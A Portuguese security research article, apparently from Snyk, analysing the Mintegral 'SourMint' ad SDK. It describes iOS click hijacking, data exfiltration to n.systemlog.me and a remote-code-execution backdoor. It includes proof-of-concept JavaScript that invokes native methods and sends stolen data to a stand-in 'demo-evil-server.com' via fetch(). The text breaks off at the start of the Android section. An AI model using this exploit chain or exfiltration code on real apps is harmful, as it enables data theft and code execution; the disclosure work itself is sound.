Skip to main content

Pesquisa sobre o SDK malicioso SourMint

Escrito por
Headshot of Kirill Efimov

Kirill Efimov

feature research

16 de outubro de 2020

0 minutos de leitura

Visão geral

Coleta excessiva de dados no iOS [agosto de 2020]

Execução remota de código (RCE) no iOS [outubro de 2020]

Rastreamento de downloads no Android [outubro de 2020]

Linha do tempo

Visão geral

O SDK Mintegral é um popular SDK de publicidade para aplicativos móveis, disponível para iOS e Android. Ele é usado por milhares de apps móveis, com mais de um bilhão de downloads por mês. Desenvolvedores de aplicativos o utilizam para monetizar seus apps com anúncios de terceiros.

A equipe de pesquisa de segurança da Snyk fez duas divulgações importantes sobre o SDK Mintegral. A primeira divulgação foi publicada em agosto de 2020 e revelou coleta excessiva de dados e sequestro de cliques na versão do SDK para iOS. A segunda divulgação revelou uma backdoor na versão para iOS do SDK, que permite a execução remota de código, além de novas descobertas sobre a versão para Android.

O objetivo deste artigo é compartilhar os detalhes técnicos da nossa pesquisa e das nossas descobertas, indo além do que foi abordado nas publicações do blog.

Este artigo está dividido em três seções:

  • Coleta excessiva de dados, incluindo a interceptação e o registro de todas as solicitações HTTP no SDK para iOS — publicado originalmente em 24 de agosto de 2020 —, descreve os recursos de rastreamento de URLs e solicitações na versão do SDK Mintegral para iOS.

  • Uma backdoor na versão do SDK para iOS permite a execução remota de código — descreve os recursos de execução remota de código do MintegralAdSDK, publicado em 15 de outubro de 2020.

  • Rastreamento de URLs de downloads no Android — descreve diversas descobertas na versão do SDK Mintegral para Android.

Coleta excessiva de dados no iOS [agosto de 2020]

Visão geral

Esta parte da pesquisa foi feita com a versão binária do SDK Mintegral para iOS, pois a versão de código aberto ainda não estava disponível para nós em agosto de 2020. A pesquisa foi conduzida na versão 6.3.5.0 do SDK (para arquitetura x86), disponível para download no GitHub.

Identificamos que as versões 5.5.1 e posteriores do SDK Mintegral para iOS contêm funcionalidades maliciosas que levam ao vazamento de informações. Em termos simples, o SDK espiona os cliques dos usuários em links e a atividade de rede nos aplicativos afetados. A espionagem ocorre mesmo quando o SDK não foi habilitado pelo desenvolvedor ou pela plataforma de mediação de anúncios. Além disso, o SDK tenta ocultar o comportamento malicioso identificando proxies, simuladores e dispositivos com jailbreak.

Swizzling de métodos

O SDK Mintegral usa uma técnica chamada swizzling de métodos para substituir, em tempo de execução, as implementações dos métodos UIApplication openURL e SKStoreProductViewController loadProductWithParameters. Ele também registra uma classe NSURLProtocol personalizada.

Esses hooks são usados para espionar os usuários do aplicativo, enviando todas as informações sobre solicitações HTTP, URLs abertas e links da App Store em que eles clicam dentro do app.

Os cabeçalhos e as URLs das solicitações HTTP podem conter dados confidenciais. Junto com o IDFA (identificador para anunciantes), esses dados permitem que a Mintegral cometa fraude de atribuição de anúncios.

Fraude de atribuição de anúncios

Para monetizar seus aplicativos, os desenvolvedores costumam instalar plataformas de publicidade. Essas plataformas recebem receita dos anunciantes por cada instalação realizada após um usuário clicar em um anúncio. É comum os desenvolvedores usarem várias plataformas de publicidade em seus apps. Por isso, para determinar qual plataforma de anúncios deve receber o crédito pela instalação, cada clique é registrado em um provedor de atribuição, uma plataforma de mensuração móvel (MMP).

A figura abaixo mostra como funciona a funcionalidade maliciosa da Mintegral. Neste exemplo, o usuário clicou em um anúncio da “Outra Plataforma”. Mas, como a Mintegral pode interceptar todas as URLs abertas pelo aplicativo, ela pode fazer solicitações adicionais a um provedor de atribuição, fingindo que o clique foi feito em um anúncio seu. O processo completo funciona assim:

  1. O usuário clica em um link de um anúncio no app, veiculado por uma rede de anúncios que não é a Mintegral, para instalar um novo aplicativo pela App Store.

  2. O SDK da rede de anúncios envia as informações do clique à plataforma de back-end.

  3. Após interceptar o evento de clique por meio de código injetado nos manipuladores de eventos do iOS usando swizzling de métodos, a Mintegral registra os dados do clique em seu servidor.

  4. A rede de anúncios registra uma notificação de clique no provedor de atribuição.

  5. A Mintegral também registra uma notificação de clique no provedor de atribuição.

Quando o provedor de atribuição tenta associar o evento de instalação às notificações de clique registradas, encontra duas correspondências. Usando um modelo de atribuição de último toque, o crédito é atribuído à notificação de clique da Mintegral, e a notificação da outra rede de anúncios é rejeitada.

Diagrama que mostra o fluxo de rastreamento de um app para dispositivos móveis entre a App Store, um provedor de atribuição, outra plataforma e o Mintegral, com setas numeradas de 1 a 5.

A Snyk trabalhou com um importante provedor de atribuição para confirmar que a Mintegral usa os dados de cliques para gerar notificações falsas. Durante a investigação, o provedor conseguiu demonstrar que essas notificações falsas estavam sendo geradas e fazendo com que os cliques em anúncios fossem atribuídos incorretamente à Mintegral.

Aplicativo de demonstração

Para demonstrar o ataque, configuramos um aplicativo de demonstração. Ele mostra o hook malicioso openURL em ação. Usamos um proxy de depuração para interceptar todo o tráfego de rede.

Para inicializar o aplicativo, usamos o seguinte trecho de código da documentação da Mintegral:

- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions {
    [[MTGSDK sharedInstance] setAppID:@"xxxxxx" ApiKey:@"yyyyyyyyyyyyyyyyyyyyyyyyy"];
    return YES;
}

Com o SDK inicializado, abrimos example.com no aplicativo clicando em um botão:

- (IBAction)openURLWithOptions:(id)sender {
    [[UIApplication sharedApplication] openURL:[NSURL URLWithString:@"http://example.com?foo=bar&x=y"] options:@{} completionHandler:nil];
}

Depois de iniciar o app, vemos imediatamente algumas solicitações do SDK Mintegral no proxy:

Aplicativo de iPhone com botões coloridos para detecção de URL e hooks em tempo de execução, ao lado do Charles Proxy exibindo parâmetros de solicitação e dados de consulta

Configurações

A resposta de _https://setting.rayjump.com/setting é um objeto JSON com várias opções. A tabela a seguir descreve os campos mais relevantes para nossa pesquisa.

Campo JSON

Descrição

csw

Habilita ou desabilita a funcionalidade antidepuração.

cou

Ative ou desative o hook do método openURL.

cdai

URL para onde as informações vazadas são enviadas (*).

cspn

Habilita ou desabilita o hook nos métodos do StoreKit.

cud

Habilita ou desabilita o hook no NSURLProtocol.

cudl

Lista de URLs rastreadas pelo NSURLProtocol (**).

* No nosso caso, era LdxThdi1WBK/WgfPhbxQYkeXHBPwHZKsYFh=, que, após a decodificação, corresponde a https://n.systemlog.me/log.

** No nosso caso, era kBzuJd5/H+i/D+SMY7V/DFKwR0M0D+SMhBPthdSsHZPUYFT0+N==, que, após a decodificação, corresponde a ["itunes.apple.com","apps.apple.com"].

Decodificação da carga útil

Após clicar no botão que abre example.com, vemos mais duas solicitações. A primeira é uma solicitação GET para http://example.com, como esperado. A segunda é uma solicitação POST para https://n.systemlog.me/log.

Aplicativo para iPhone exibindo opções de detecção de hooks ao lado do Charles Proxy, que mostra uma solicitação POST com um payload longo codificado

O corpo da solicitação parece estar codificado em base64. Mas, na verdade, não é uma string codificada em base64. O SDK da Mintegral implementa sua própria lógica de codificação e decodificação, que pode ser encontrada em +[MTGBase base64DecodeString:] e +[MTGBase base64CleverDecodeString:]. Observe que MTGBase não está exposta nos cabeçalhos públicos do SDK e não foi projetada para ser acessível aos desenvolvedores.

Usamos o seguinte trecho de código para decodificar a carga útil:

Class cls = NSClassFromString(@"MTGBase");
NSObject *obj = [cls performSelector:NSSelectorFromString(@"base64CleverDecodeString:") withObject:@"THE REQUEST BODY HERE"];
NSLog(@"%@", obj);
Captura de tela do terminal mostrando um payload decodificado com metadados do dispositivo e trechos de código de um aplicativo iOS

A carga útil contém muitos dados, incluindo IDFA, IDFV, versão do sistema operacional, user agent e outros. Ela também contém um campo chamado “clever”, que, mais uma vez, está codificado. Podemos decodificá-lo usando base64DecodeString:

[{'cn': 'ViewController', 'u': 'http://example.com?foo=bar&x=y', 'nid': 0, 'type': '3', 'mn': 'openURLWithOptions:', 'trc': '["2|awesomegame|0x0000000104102f18 -[ViewController openURLWithOptions:] + 152","3|UIKitCore|0x00007fff49326c1d -[UIApplication sendAction:to:from:forEvent:] + 83","4|UIKitCore|0x00007fff48cd5baa -[UIControl sendAction:to:forEvent:] + 223","5|UIKitCore|0x00007fff48cd5ef2 -[UIControl _sendActionsForEvents:withEvent:] + 396","6|UIKitCore|0x00007fff48cd4e63 -[UIControl touchesEnded:withEvent:] + 497"]'}]

Como você pode ver, ele contém a URL, o rastreamento da pilha e algumas informações adicionais, como o controlador e o nome do método.

Análise mais aprofundada

Como mencionado anteriormente, o SDK Mintegral é de código fechado. Vamos analisar a versão 6.3.5.0 para a arquitetura x86.

O binário é um executável Mach-O que contém vários outros binários. O código que nos interessa está em _CXX_CXX_OperationPKTask.o.

Ao analisar a classe, encontramos +[_CXX_CXX_OperationPKTask load], que é executado automaticamente quando a classe é adicionada em tempo de execução. Isso significa que, se o SDK for instalado via CocoaPods, a lógica maliciosa será inicializada independentemente de os desenvolvedores usarem ou não o SDK.

O método load faz uma série de chamadas que nos levam a ___cxxwebk_init_vw. Esse método verifica se a flag de proteção antidepuração está habilitada e inicializa os hooks se a flag estiver desativada ou se a depuração estiver desabilitada.

Código descompilado e anotado que mostra uma chamada de proteção antidepuração CSW, C0U e referências a cspn.

A inicialização dos hooks depende da solicitação de configurações mencionada acima. A tabela a seguir mostra a relação entre os campos da resposta JSON e a classe MTGSetting:

Campo JSON

Propriedade de MTGSetting

Descrição

csw

cSrtW

Habilita ou desabilita a funcionalidade antidepuração.

cou

cOpenURL

Ative ou desative o hook do método openURL.

cspn

cPackageName

Habilita ou desabilita o hook nos métodos do StoreKit.

Lógica antidepuração

Captura de tela escura com código e anotações em vermelho apontando para “/Applications/Cydia.app” e “/Library/MobileSubstrate/MobileSubstrate.dylib”.

A função __cxx_cxx_op_isInSuperViewFrame retorna true nos seguintes casos:

  • A plataforma do dispositivo é um “simulador”.

  • Há um depurador conectado (implementado em ____mvpmvvm_isDebuggerAttached_block_invoke).

  • Um dos arquivos a seguir está presente no dispositivo (indício de jailbreak):

    • /Applications/Cydia.app

    • /Library/MobileSubstrate/MobileSubstrate.dylib

    • /bin/bash

    • /usr/sbin/sshd

    • /etc/apt

    • /usr/bin/ssh

  • Há um proxy habilitado (usando CFNetworkCopySystemProxySettings).

Swizzling do método openURL

A lógica mostrada na captura de tela a seguir está implementada no método ___cxxwebkmcouitninapo, chamado por ___cxxwebk_init_vw quando a flag correspondente está habilitada.

Editor de código com tema escuro mostrando o código-fonte em Objective-C da implementação de um método NSURL openURL.

"blog-sour-mint-openurl-method-swirl" - A captura de tela acima mostra a implementação do swizzling de métodos. Ela faz as seguintes chamadas:

  1. NSSelectorFromString para obter um seletor do método “openURL:”.

  2. NSClassFromString para obter o descritor da classe UIApplication.

  3. class_getInstanceMethod para obter o descritor do método.

  4. method_getImplementation para obter a implementação real do método.

  5. Em seguida, define um bloco de código que chama _____cxxwebkmcouitninapo_block_invoke_2 e, depois, chama o openURL original.

  6. method_setImplementation para substituir o openURL original pelo bloco de código da etapa anterior.

O mesmo acontece com o método openURL:options:completionHandler:, mas antes disso é verificada a versão do sistema (o manipulador foi introduzido pela primeira vez no iOS 10).

Neste ponto, vimos como o hook foi aplicado. Agora vamos analisar a implementação do próprio hook (_____cxxwebkmcouitninapo_block_invoke_2).

Implementação do hook openURL

Na prática, a implementação está no método ___cxxwebkmcoulsz. Nele, vemos outra chamada de verificação antidepuração. Em seguida, o método verifica a flag __mc_notifyInHouse e não faz nada se ela estiver definida como 1.

Isso é feito para ignorar todos os URLs de marketing em que o usuário clica em um anúncio veiculado pela Mintegral. A captura de tela abaixo mostra a lógica correspondente em +[MTGBase mtgOpenURL:options:completionHandler:]:

Editor de código em tema escuro exibindo a implementação de um método Objective-C para MTGBase, incluindo chamadas para obter informações do dispositivo, da versão do sistema e da memória, além de notificações do aplicativo.

O próximo trecho de código mostra que eles também serializam os dados do rastreamento da pilha e os vazam na carga útil enviada para https://n.systemlog.me/log.

Conseguimos definir um breakpoint na chamada +[_CXX_CXX_OperationPKTask _cxx_cm_log_warnings:to:ins:]. A captura de tela seguinte mostra os argumentos da chamada:

Depurador exibindo código assembly e uma pilha de chamadas para o método openURLWithOptions de um ViewController em um app iOS
  • A URL que foi aberta (http://example.com?foo=bar&x=y).

  • A classe em que o clique ocorreu (ViewController).

  • O método interno em que o clique ocorreu (openURLWithOptions:).

  • Informações do rastreamento da pilha.

Outra função interessante é _nsh_id_by_cc, que parece ser responsável por identificar SDKs de concorrentes. A lógica relevante aparece na próxima captura de tela:

Editor de código com tema escuro exibindo código Objective-C descompilado, com referências a GADCategories e serviços relacionados a anúncios

Voltando a +[_CXX_CXX_OperationPKTask _cxx_cm_log_warnings:to:ins:], depois que o payload é codificado por meio de +[MTGBase base64EncodeString:], ele cria um novo bloco de código e usa _dispatch_async para executá-lo.

Isso leva a uma série de chamadas com transformações adicionais do payload e termina em -[_MC_ApiManager AFRequestWithUrl:paras:success:failure:], que faz uma requisição POST para collectDomainUrl de MTGSetting, cujo valor padrão é https://n.systemlog.me/log.

Vídeo que demonstra como uma URL privada pode ser vazada.

A demonstration of the SourMint Malicious SDK from Mintegral

Hook de SKStoreProductViewController

SKStoreProductViewController é um controlador de visualização que exibe uma página onde o usuário pode comprar conteúdo na App Store.

O método loadProductWithParameters:completionBlock: carrega uma nova tela de produto para exibição.

Em vez de entrar nos detalhes técnicos da implementação do hook, adicionamos o seguinte trecho de código ao aplicativo de demonstração:

- (IBAction)openSKStoreProductViewController:(id)sender {
    SKStoreProductViewController *storeViewController = [[SKStoreProductViewController alloc] init];
    [storeViewController setDelegate:self];
    NSDictionary *productParams = @{SKStoreProductParameterITunesItemIdentifier: [NSNumber numberWithInt:1234567890]};
    [storeViewController loadProductWithParameters:productParams completionBlock:nil];

Como resultado, vemos uma requisição POST para https://n.systemlog.me/log com o seguinte payload no campo “clever”:

[{'cn': 'UIApplication', 'mn': 'sendAction:to:from:forEvent:', 'nid': 0, 'aid': '{"id":1234567890}', 'type': '2', 'trc': '["2|UIKitCore|0x00007fff49326c1d -[UIApplication sendAction:to:from:forEvent:] + 83","3|UIKitCore|0x00007fff48cd5baa -[UIControl sendAction:to:forEvent:] + 223","4|UIKitCore|0x00007fff48cd5ef2 -[UIControl _sendActionsForEvents:withEvent:] + 396","5|UIKitCore|0x00007fff48cd4e63 -[UIControl touchesEnded:withEvent:] + 497","6|UIKitCore|0x00007fff49362508 -[UIWindow _sendTouchesForEvent:] + 1359"]', 'dur': 24}] 

Como podemos ver, o ID do produto está na requisição. Está comprovado.

Hook de NSURLProtocol

A classe NSURLProtocol permite que um desenvolvedor redefina o funcionamento do sistema de carregamento de URLs da Apple. O SDK da Mintegral registra uma implementação maliciosa de NSURLProtocol, que pode ser configurada remotamente para interceptar quaisquer requisições de saída feitas por um aplicativo e rastrear URLs e cabeçalhos HTTP, incluindo o cabeçalho Authorization.

Para quem desenvolve aplicativos, isso significa que tokens de API, cookies e cabeçalhos de autenticação básica podem ser coletados pela Mintegral.

Para entender como o SDK ativa essa parte do código malicioso, precisamos voltar a ___cxxwebk_init_vw.

Captura de tela de código escuro mostrando código do runtime Objective-C, com anotações em vermelho apontando para “cud”, “cudl” e “NSURLProtocol hook init”.

A captura de tela acima mostra que a flag cud precisa estar ativada e o array cudl não pode estar vazio para ativar o hook.

A captura de tela a seguir mostra parte da função ___cxxwebkterisiuuxx, chamada pelo método acima.

Editor de código escuro exibindo código do runtime Objective-C com referências a classes e seletores

O código da função ___cxxwebkterisiuuxx executa as seguintes ações:

  1. Cria uma classe que herda de NSURLProtocol (objc_registerClassPair, objc_allocateClassPair).

  2. Adiciona uma implementação para canInitWithRequest:, que funciona efetivamente como um interceptador (class_addMethod).

  3. Chama +[NSURLProtocol registerClass:] para registrar a classe no sistema de carregamento de URLs.

Em nossa pesquisa, adicionamos o seguinte trecho de código para verificar quais dados são coletados pelo código malicioso:

- (IBAction)httpRequestWithURLSession:(id)sender {
    NSURLSessionConfiguration *sConf = [NSURLSessionConfiguration defaultSessionConfiguration];
    sConf.HTTPAdditionalHeaders = @{@"Authorization": @"Basic YWRtaW46YWRtaW4K"};
    NSURLSession *session = [NSURLSession sessionWithConfiguration:sConf];
    NSMutableURLRequest *req = [NSMutableURLRequest requestWithURL:[NSURL URLWithString:@"http://example.com/get-secret-data"]];
    req.HTTPBody = [@"foo=bar" dataUsingEncoding:NSUTF8StringEncoding];
    req.HTTPMethod = @"POST";
    NSURLSessionDataTask *task = [session dataTaskWithRequest:req];
    [task resume];
}

Como resultado, vemos uma requisição POST para https://n.systemlog.me/log com o seguinte payload no campo “clever”:

[{'cn': '', 'u': 'http://example.com/get-secret-data', 'mn': '', 'nid': 0, 'hhf': '{"Authorization":"Basic YWRtaW46YWRtaW4K","Content-Length":"7"}', 'type': '1', 'hm': 'POST'}]

Na requisição, podemos ver a URL e o cabeçalho de autorização. Embora o corpo da requisição não esteja incluído, os cabeçalhos muitas vezes contêm dados confidenciais. Esses dados podem até incluir informações de identificação pessoal. Por exemplo, se uma API usa tokens JWT, o e-mail ou o nome de usuário podem estar armazenados no token.

Conclusão

Durante a pesquisa, observamos várias técnicas interessantes usadas pelos desenvolvedores da Mintegral para ocultar o comportamento malicioso do SDK. Como podemos ver, eles ativam os hooks apenas em aplicativos específicos e em determinadas regiões, o que permitiu que o código malicioso permanecesse ativo por mais de um ano sem chamar atenção.

Sobre a cronologia: a primeira versão (5.5.1) do SDK malicioso foi publicada em 17 de julho de 2019. Descobrimos que todas as versões posteriores mantiveram a mesma funcionalidade maliciosa.

Muitos aplicativos populares foram afetados pelas atividades maliciosas desse SDK. Esperamos que esta pesquisa, ao esclarecer a situação, incentive uma análise mais rigorosa e mais controles de privacidade nas redes de publicidade daqui para a frente.

Execução remota de código (RCE) no iOS [outubro de 2020]

Resumo

Descobrimos que a classe MTGBaseBridgeWebView, usada em todo o SDK para se comunicar com JavaScript, funciona como uma porta dos fundos e permite invocar funções arbitrárias a partir do código nativo do aplicativo.

Diagrama que mostra um servidor enviando dados privados do usuário e um payload de banner malicioso para um aplicativo móvel, com código nativo e um banner no UIWebView do Mintegral.

Na imagem acima, você pode ver um esquema simplificado da execução remota de código em ação.

Análise de diferenças

Após nossa primeira divulgação pública, a Mintegral anunciou o lançamento de uma versão de código aberto do SDK.

Comparamos a nova versão de código aberto com a versão binária anterior, distribuída como cocoapod. Embora não tivéssemos o código-fonte da versão antiga, ainda era possível comparar os nomes das classes. Para isso, extraímos os arquivos .o dos binários e comparamos os símbolos com os arquivos .h da versão de código aberto.

Como esperado, o componente malicioso _CXX_CXX_OperationPKTask, descoberto anteriormente, havia sido removido, mas a comparação revelou outra coisa. As seguintes classes chamaram nossa atenção:

  • MTGCommandDispatcher

  • MTGComponentCommands

  • MTGRemoteCommand

  • MTGRemoteCommandParameterModel

  • MTGRemoteCommandParser

  • MTGInvocationBoxing

Decidimos analisar os binários mais de perto para entender para que esses arquivos eram usados.

Versões afetadas

Todas as versões do MintegralAdSDK até a 6.5.0.0, inclusive. A versão 6.6.0.0, publicada em 10 de setembro de 2020, não tem a funcionalidade de porta dos fundos descrita neste artigo.

A implementação da bridge

Começamos verificando onde a classe MTGRemoteCommandParser é usada e encontramos apenas um lugar: -(void)handleNativeObject:parameters:, na classe MTGBaseBridgeWebView.

Pela implementação, podemos ver que -(void)handleNativeObject:parameters: usa MTGRemoteCommandParser para analisar o argumento parameters e invoca o método -(void)dispatchCommand:feedback: na classe MTGCommandDispatcher.

À primeira vista, -(void)handleNativeObject:parameters: não é usado, mas não é bem assim. Vamos ver como ele pode ser invocado a partir de código JavaScript.

MTGBaseBridgeWebView implementa o método -(void)webView:decidePolicyForNavigationAction:decisionHandler: do protocolo WKNavigationDelegate. Esse método é chamado sempre que ocorre uma navegação na web view. Isso significa que podemos acioná-lo de dentro do JavaScript simplesmente chamando location.href=something. Na versão de código aberto do SDK, encontramos uma expressão regular que analisa as URLs das requisições de navegação: mv://(.+?):(.+?)/(.+?)\\?([\\s\\S]*).

Editor de código com tema escuro exibindo código Objective-C que analisa uma URL mV com uma expressão regular e extrai o nome da função, o ID e os parâmetros.

-(void)callFunctionWithName:fucId:param:, na captura de tela acima, simplesmente chama self com o seletor fucName.

Então, para chamar -(void)handleNativeObject:parameters: de MTGBaseBridgeWebView, precisamos da seguinte linha de código JavaScript: location.href = 'mv://1:fucId/handleNativeObject?<parameters>'.

Vale destacar que tudo o que descrevemos acima continua válido na versão mais recente do SDK disponível no momento da redação, assim como na versão de código aberto. A única exceção é que -(void)handleNativeObject:parameters: foi removido das versões mais recentes.

Invocação remota de métodos

Não vamos descrever a implementação completa de MTGInvocationBoxing e das outras classes. Em vez disso, mostraremos como criar código JavaScript malicioso para acionar o método remoto.

A prova de conceito a seguir ataca um aplicativo de “notas simples”, que tem uma classe NoteRepository com dois métodos: +(void)save: e +(NSString*)load.

Injetamos o código JavaScript malicioso substituindo o servidor da Mintegral por uma implementação própria. O código-fonte completo deste aplicativo e do servidor está disponível aqui.

O código JavaScript malicioso para este aplicativo é o seguinte:

window.WindVane = {
     onSuccess: function (_, data) {
         fetch('https://demo-evil-server.com/log?data=' + encodeURIComponent(atob(data)));
     }
 };

location.href = 'mv://1:fucId/handleNativeObject?{"uniqueIdentifier":"hbxtJ7QU+TPXJ75ZH+SXhFQTYbzP","name":"Y7KtHv==","result":{"type":3}}';

Valor

Decodificado

hbxtJ7QU+TPXJ75ZH+SXhFQTYbzP

static_NoteRepository

Y7KtHv==

load

Esse código chama o método +(NSString*)load da classe NoteRepository e envia o resultado para o endpoint demo-evil-server.com/log.

Ele usa as mesmas técnicas de ofuscação descritas na seção anterior. Mas a prova de conceito já inclui código JavaScript para codificar e decodificar (consulte banner.html).

Obtendo execução remota de código (RCE) completa

No exemplo acima, vimos como o SDK pode ser usado para invocar qualquer método estático de uma classe arbitrária. Nesta seção, demonstraremos como isso pode ser aproveitado para executar qualquer código nativo.

Para fins de demonstração, mostraremos como criar um UIAlertController com a mensagem "PWNED!".

Vamos usar o seguinte código Objective-C como referência:

UIAlertController *alert = [[UIAlertController alloc] init];
[alert setMessage:@"PWNED!"];
[[[[UIApplication sharedApplication] keyWindow] rootViewController] presentViewController:alert animated:YES completion:nil];

Precisamos descobrir como criar e manter uma instância de UIAlertController entre chamadas, como obter uma instância compartilhada do aplicativo e como chamar presentViewController:animated:completion: com essa instância.

Etapa 1: salvar uma referência à classe UIAlertController

location.href = 'mv://1:fucId/handleNativeObject?' + JSON.stringify({
    'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhM==', // singleton_MTGSetting.jsonTitles
    'name': 'hF5TnFzqHkfTGrHXh3wQ4nE=', // setObject:forKey:
    'parameters': [
        {
            'type': 1,
            'value': {'uniqueIdentifier': 'hbxtJ7QU+25zNkeQhgxaYFPThrKsY75B'} // static_UIAlertController
        },
        {'type': 2, 'value': 'a' }
    ]
});

O MTGRemoteCommandParser aceita dois tipos de referências a objetos:

  • static - obtém uma referência a um objeto de classe pelo nome.

  • singleton - executa várias etapas:

    1. Obtém uma classe pelo nome (MTGSetting no nosso exemplo).

    2. Executa o método sharedInstance na classe. Em Objective-C: [MTGSetting sharedInstance].

    3. Usa valueForKey: para obter propriedades separadas por pontos. No nosso caso, será [[MTGSetting sharedInstance] valueForKey:@"jsonTitles"].

Observe que jsonTitles é apenas uma instância de NSMutableDictionary. No exploit, ela é usada como armazenamento temporário para nossas referências. O MTGRemoteCommandParser aceita os seguintes tipos de parâmetros:

  • 0 - número.

  • 1 - referência.

  • 2 - string.

  • 4 - nil.

O tipo de referência (1) permite passar uma referência a um objeto como argumento de um método. É importante observar que uniqueIdentifier é analisado exatamente da mesma forma que um uniqueIdentifier de nível superior; portanto, também há suporte ao tipo singleton.

Etapa 2: alocar uma nova instância da classe UIAlertController

location.href = 'mv://1:fucId/handleNativeObject?' + JSON.stringify({
    'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhM==', // singleton_MTGSetting.jsonTitles
    'name': 'hF5TnFzqHkfTGrHXh3wQ4nE=', // setObject:forKey:
    'parameters': [
        {
            'type': 1,
            // singleton_MTGSetting.jsonTitles.a.alloc.init
            'value': {'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhBPtWrcsY7KUWrQ\/L+N='}
        },
        {'type': 2, 'value': 'b'}
    ]
});

Neste caso, toda a mágica acontece em singleton_MTGSetting.jsonTitles.a.alloc.init. Como já sabemos, singleton_MTGSetting.jsonTitles.a nos fornece uma referência à classe UIAlertController. Mas precisamos entender por que [[UIAlertController valueForKey:@"alloc"] valueForKey:@"init"] funciona. Na documentação de valueForKey:, sabemos que:

O padrão de busca que valueForKey: usa para encontrar o valor correto a ser retornado está descrito em Accessor Search Patterns no Key-Value Coding Programming Guide.

Descobrimos que valueForKey: pode chamar qualquer método pelo nome, desde que ele não receba argumentos.

Agora, podemos criar uma nova instância da classe UIAlertController, que será referenciada pela propriedade b do dicionário jsonTitles.

Etapa 3: definir a mensagem "PWNED!"

location.href = 'mv://1:fucId/handleNativeObject?' + JSON.stringify({
    'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhBP0', // singleton_MTGSetting.jsonTitles.b
    'name': 'hF5Tnk5AhFcgHnE=', // setMessage:
    'parameters': [{'type': 2, 'value': 'PWNED!'}]
});

Esta etapa é bem simples: chamamos setMessage: na instância de UIAlertController para definir a mensagem PWNED!.

Etapa 4: salvar uma referência à classe UIApplication

location.href = 'mv://1:fucId/handleNativeObject?' + JSON.stringify({
    'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhM==', // singleton_MTGSetting.jsonTitles
    'name': 'hF5TnFzqHkfTGrHXh3wQ4nE=',
    'parameters': [
        {'type': 1, 'value': {'uniqueIdentifier': 'hbxtJ7QU+25zN+SMY7QUD+xuYF9='}}, // static_UIApplication
        {'type': 2, 'value': 'x' }
    ]
});

Esta etapa é semelhante à etapa 1. Precisamos salvar a referência à classe UIApplication em jsonTitles.x.

Etapa 5: exibir o alerta

location.href = 'mv://1:fucId/handleNativeObject?' + JSON.stringify({
    // singleton_MTGSetting.jsonTitles.x.sharedApplication.keyWindow.rootViewController
    'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhBP9WgfED+zQHjcMh7euDFcTLkK\/WrwQ45JuYrxXJBPBYFKT5rQQJTfXYgxBYFesH+R=',
    // presentViewController:animated:completion:
    'name': 'hdzQhF5\/JcHuH+JaYFPThrKsY75BGrc\/Lk2tJ753GrfXY+SsH+xuYF91',
    'parameters': [
        {
            'type': 1,
            // singleton_MTGSetting.jsonTitles.b
            'value': {'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhBP0'}
        },
        {'type': 0, 'value': 1},
        {'type': 4} // nil
    ]
});

Esta etapa parece complicada, mas apenas combina várias técnicas das etapas anteriores. Em código Objective-C, ficaria assim:

[MTGSetting.sharedInstance.jsonTitles.x.sharedApplication.keyWindow.rootViewController
    presentViewController:MTGSetting.sharedInstance.jsonTitles.b // this is out instance of UIAlertController
    animated: 1
    completion: nil
];

Neste ponto, demonstramos como um alerta pode ser exibido por meio de execução remota de código. Você encontra o payload completo aqui. Para executar as etapas uma a uma, criamos um array de ações e executamos cada ação no callback window.WindVane.onSuccess (ou seja, depois que a ação anterior fosse concluída).

Vídeo que demonstra como o conteúdo da área de transferência pode ser vazado por meio da entrega do exploit em um anúncio malicioso.

Remote Code Execution using Mintegral's MTGInvocationBoxing

Origem do exploit em JavaScript

Já vimos como o SDK da Mintegral permite a execução remota de código nativo por meio de código JavaScript. No entanto, esse código JavaScript é totalmente controlado pela Mintegral. Mas, curiosamente, é possível obter o mesmo resultado por meio de anúncios interativos criados pelos próprios anunciantes. Os anúncios são páginas da web baseadas em JavaScript.

Em teoria, um anunciante pode segmentar com precisão um grupo específico de usuários ou um conjunto específico de dispositivos, veiculando um anúncio malicioso que contém o exploit em JavaScript.

Conclusão

Só podemos especular por que a Mintegral incluiu no SDK a capacidade de invocar métodos nativos remotamente, mas, pelos nomes das classes, como MTGCommandDispatcher e MTGRemoteCommand, acreditamos que isso foi intencional. Além disso, a Mintegral removeu o código logo após nossa publicação, embora não tivéssemos conhecimento disso na época.

Rastreamento de downloads no Android [outubro de 2020]

Visão geral

Nas duas seções anteriores deste artigo de pesquisa, mostramos como a equipe de segurança da Snyk descobriu comportamentos maliciosos no SDK da Mintegral que podem ser explorados em dispositivos iOS, levando a fraude publicitária, vazamento de dados e execução remota de código (RCE). Queríamos investigar mais a distribuição Android do SDK, o que abordamos nesta seção. Em resumo, estas são nossas principais descobertas:

  1. Rastreamento de URIs de download do Google, que afeta downloads feitos tanto pelo navegador quanto por aplicativos, incluindo downloads comuns de arquivos, anexos de e-mail e links do Google Docs.

  2. Rastreamento de todos os downloads de APK, orgânicos ou não.

Esses dados são enviados aos servidores da Mintegral.

Comportamento observado

Ao baixar um link do Google Docs, percebemos que o aplicativo enviava as seguintes solicitações para https://n.systemlog.me:

Ferramenta de segurança web exibindo uma solicitação POST bruta com dados codificados na URL enviados para n.systemlog.me

Este é o mesmo endpoint usado no SDK para iOS para enviar dados ao servidor da Mintegral. O payload é codificado, mas podemos usar a lógica de decodificação presente no binário do SDK para obter o seguinte:

